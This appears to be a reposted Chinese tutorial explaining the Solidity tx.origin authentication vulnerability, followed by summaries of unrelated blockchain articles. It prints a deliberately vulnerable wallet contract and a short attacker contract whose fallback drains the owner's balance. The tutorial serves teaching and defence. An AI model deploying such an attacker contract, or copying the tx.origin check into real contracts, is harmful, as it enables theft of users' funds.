摘要:在智能合約中使用此變量進(jìn)行身份驗證會使合約容易受到類似網(wǎng)絡(luò)釣魚的攻擊。但針對的使用并不用談虎色變,正確的使用還是有它的應(yīng)用場景的。漏洞詳解漏洞合約在如下合約中使用到了的判斷。使用提醒不應(yīng)該用于智能合約的授權(quán)。
簡介
tx.origin是Solidity的一個全局變量,它遍歷整個調(diào)用棧并返回最初發(fā)送調(diào)用(或事務(wù))的帳戶的地址。在智能合約中使用此變量進(jìn)行身份驗證會使合約容易受到類似網(wǎng)絡(luò)釣魚的攻擊。
但針對tx.origin的使用并不用談虎色變,正確的使用還是有它的應(yīng)用場景的。
漏洞詳解 漏洞合約在如下合約中使用到了tx.origin的判斷。
pragma solidity ^0.4.11; // 不要使用這個合約,其中包含一個 bug。 contract TxUserWallet { address owner; function TxUserWallet() public { owner = msg.sender; } function transferTo(address dest, uint amount) public { require(tx.origin == owner); dest.transfer(amount); } }
上面的合約提供了構(gòu)造函數(shù)(新版本中使用constructor)和轉(zhuǎn)賬方法。其中在轉(zhuǎn)賬方法transferTo中進(jìn)行了owner的判斷,這里用到了tx.origin。
攻擊者合約下面看一下攻擊者的合約:
pragma solidity ^0.4.11; interface TxUserWallet { function transferTo(address dest, uint amount) public; } contract TxAttackWallet { address owner; function TxAttackWallet() public { owner = msg.sender; } function () public { TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance); } }
攻擊者創(chuàng)建一個上面的合約,然后通過各種騙術(shù)來欺騙你用正常合約(TxUserWallet)的擁有者的地址向該攻擊合約(TxAttackWallet)轉(zhuǎn)賬。然后區(qū)塊鏈會默認(rèn)調(diào)用攻擊合約的fallback方法,也就是最后沒有方法名的方法,并執(zhí)行轉(zhuǎn)賬操作。
而此時TxUserWallet合約里面的校驗是可以正常通過的。因為tx.origin是最初發(fā)起交易的地址,也就是合約擁有者的地址。然后,地址里面的ether便被轉(zhuǎn)到攻擊者地址中。
使用提醒tx.origin不應(yīng)該用于智能合約的授權(quán)。更多的時候采用msg.sender == owner來進(jìn)行判斷。
但它也有自己使用的場景,比如想要拒絕外部合約調(diào)用當(dāng)前合約則可使用require(tx.origin ==msg.sender)來進(jìn)行實現(xiàn)。
原文鏈接:https://www.choupangxia.com/2...
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://systransis.cn/yun/75460.html
摘要:函數(shù)和可用于檢查條件并在條件不滿足時拋出異常。函數(shù)只能用于測試內(nèi)部錯誤,并檢查非變量。函數(shù)和狀態(tài)變量僅在當(dāng)前定義它們的合約中使用,并且不能被派生合約使用。派生合約可以訪問所有非私有成員,包括內(nèi)部函數(shù)和狀態(tài)變量,但無法通過來外部訪問。 Solidity是以太坊的主要編程語言,它是一種靜態(tài)類型的 JavaScript-esque 語言,是面向合約的、為實現(xiàn)智能合約而創(chuàng)建的高級編程語言,設(shè)計...
摘要:本文首發(fā)于深入淺出區(qū)塊鏈社區(qū)原文鏈接智能合約語言教程系列錯誤處理原文已更新,請讀者前往原文閱讀這是教程系列文章第篇介紹錯誤處理。如果合約沒有修飾符的的函數(shù)在接收以太幣時包括構(gòu)造函數(shù),和回退函數(shù)。如果合約通過一個的函數(shù)接收以太幣。 本文首發(fā)于深入淺出區(qū)塊鏈社區(qū)原文鏈接:智能合約語言 Solidity 教程系列9 - 錯誤處理原文已更新,請讀者前往原文閱讀 這是Solidity教程系列文章...
摘要:年的區(qū)塊鏈牛市已經(jīng)過去了,目前看來,年會是一個大熊市,投資抄幣估計也撈不著什么。熊市囤技術(shù),其實是技術(shù)人員很好的選擇。三期同學(xué)討論積累資料的地址等風(fēng)來區(qū)塊鏈熊市,技術(shù)人就要做技術(shù)投資。 2017 年的區(qū)塊鏈牛市已經(jīng)過去了,目前看來,2018 年會是一個大熊市,投資抄幣估計也撈不著什么。熊市只能囤囤幣,囤囤技術(shù),只能等下一輪風(fēng)起了。熊市囤技術(shù),其實是技術(shù)人員很好的選擇。等區(qū)塊鏈牛市來了,...
摘要:舍去小數(shù)位在以太坊中賬戶有兩種類型普通賬戶和智能合約賬戶。報酬是小額的以太幣,想要運行智能合約的人的需要支付報酬來使合約工作。涉及到以太坊智能合約的攻擊的問題。 智能合約可以簡單的理解為一段可執(zhí)行的程序片段,具體的代碼經(jīng)過 Solidity 編寫之后,發(fā)布到區(qū)塊鏈上。而以太坊的智能合約也可以理解為一個特殊的交易(包括可執(zhí)行代碼的),被發(fā)送出去后會被礦工打包記錄在某一個區(qū)塊中,當(dāng)需要調(diào)用...
摘要:什么是事件事件是以太坊虛擬機日志基礎(chǔ)設(shè)施提供的一個便利接口。在的應(yīng)用中,如果監(jiān)聽了某事件,當(dāng)事件發(fā)生時,會進(jìn)行回調(diào)。不過要注意日志和事件在合約內(nèi)是無法被訪問的,即使是創(chuàng)建日志的合約。使用監(jiān)聽事件,刷新現(xiàn)在需要使用監(jiān)聽事件,刷新。 本文首發(fā)于深入淺出區(qū)塊鏈社區(qū)原文鏈接:搞懂 Solidity 事件 Event - 如何在 DApp 中使用原文已更新,請讀者前往原文閱讀 很多同學(xué)對Soli...
閱讀 2478·2021-11-22 15:35
閱讀 3767·2021-11-04 16:14
閱讀 2696·2021-10-20 13:47
閱讀 2507·2021-10-13 09:49
閱讀 2078·2019-08-30 14:09
閱讀 2376·2019-08-26 13:49
閱讀 887·2019-08-26 10:45
閱讀 2778·2019-08-23 17:54